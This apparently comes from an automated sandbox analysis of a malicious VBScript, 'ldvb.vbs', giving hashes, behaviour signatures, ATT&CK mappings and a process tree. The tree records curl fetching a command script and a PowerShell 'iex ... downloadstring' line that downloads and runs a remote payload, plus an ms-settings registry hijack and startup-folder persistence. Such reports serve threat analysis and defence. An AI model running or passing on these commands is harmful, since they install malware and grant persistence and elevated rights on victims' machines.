9e06d175c76b3457bba2b4fbd688edcab82a5a55cff9be746d8fefbb0b637ab4

General

Target

ldvb.vbs
Size

1KB
MD5

eefbb9e4a9fd600d019cac1535868014
SHA1

d24a2c0f2b6732bfe9de1c48e4ae6e11242948aa
SHA256

9e06d175c76b3457bba2b4fbd688edcab82a5a55cff9be746d8fefbb0b637ab4
SHA512

22537357f3436cfb20c97f05cc86a6b563783416a808323d6228bc7ee1c16a47ac6ee311014cdb2435d3b60e110dcbd1ff3781ae590f25a175f8d941fee84e72

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
24	3396	powershell.exe
25	3396	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_xbykfm3_U.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_xbykfm3_UEX.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_xbykfm3_UAT.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_xbykfm3_UAA.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_xbykfm3_Uy.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\ms-settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\ms-settings\Shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\ms-settings\Shell\Open	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\ms-settings\Shell\Open\command\ = "C:\\_xbykfm3_U\\_xbykfm3_Ui7.exe"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\ms-settings\Shell\Open\command	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3396	powershell.exe
3396	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3396	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 4620	4204	WScript.exe	83
PID 4204 wrote to memory of 4620	4204	WScript.exe	83
PID 4204 wrote to memory of 1624	4204	WScript.exe	88
PID 4204 wrote to memory of 1624	4204	WScript.exe	88
PID 1624 wrote to memory of 4976	1624	cmd.exe	90
PID 1624 wrote to memory of 4976	1624	cmd.exe	90
PID 1624 wrote to memory of 3396	1624	cmd.exe	91
PID 1624 wrote to memory of 3396	1624	cmd.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ldvb.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -o "C:\Wins32Update_\up.cmd" "https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-435c-8ef5-198776034a00"
  2⤵
  PID:4620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Wins32Update_\up.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://contablebar.shop/ll2310/at3') "
    3⤵
    PID:4976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -nop -win 1
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aqc40hew.tf5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Wins32Update_\A

Filesize
297B

MD5
bb038fac811eadd2416418a256332a6c

SHA1
866257dcca41e019648a672c1f5e4be614c8aff4

SHA256
0aa85b2f36b77769772af83631079dbfed38d08502e1a60ae9d1a2dfffef8057

SHA512
ce40dd989e6e294f92fe1dced8cbb607e87c27bb5c5f8d61b1fe272a2b4a2540f3a9bcfaa36e9ec20093d2654bef78422624352ee0ab28e13a2d5c30369818d3

Download Submit
C:\Wins32Update_\up.cmd

Filesize
463B

MD5
41eba80cb324d07670a3b61881535430

SHA1
748ba6f8572aff7e8e443013c1f0b252e76a24c5

SHA256
83fa1393c1facdd3cc103be13f25a289ef56b94fd2d3d4cadb83461d76745188

SHA512
c7da58a768c9e7da2980bc23709bcb2a1bcaa4d50cc3e8894469f36ff0888341ce446f2c35950b5bb8fc06431279b9b58c53d01a90d524b126be5c1e80e630b1

Download Submit
memory/3396-4-0x00007FFD40BF3000-0x00007FFD40BF5000-memory.dmp

Filesize
8KB

Download
memory/3396-11-0x0000019773FC0000-0x0000019773FE2000-memory.dmp

Filesize
136KB

Download
memory/3396-15-0x00007FFD40BF0000-0x00007FFD416B1000-memory.dmp

Filesize
10.8MB

Download
memory/3396-16-0x00007FFD40BF0000-0x00007FFD416B1000-memory.dmp

Filesize
10.8MB

Download
memory/3396-17-0x0000019776510000-0x0000019776554000-memory.dmp

Filesize
272KB

Download
memory/3396-18-0x00000197765E0000-0x0000019776656000-memory.dmp

Filesize
472KB

Download
memory/3396-19-0x0000019776580000-0x000001977659E000-memory.dmp

Filesize
120KB

Download
memory/3396-35-0x00007FFD40BF3000-0x00007FFD40BF5000-memory.dmp

Filesize
8KB

Download
memory/3396-36-0x00007FFD40BF0000-0x00007FFD416B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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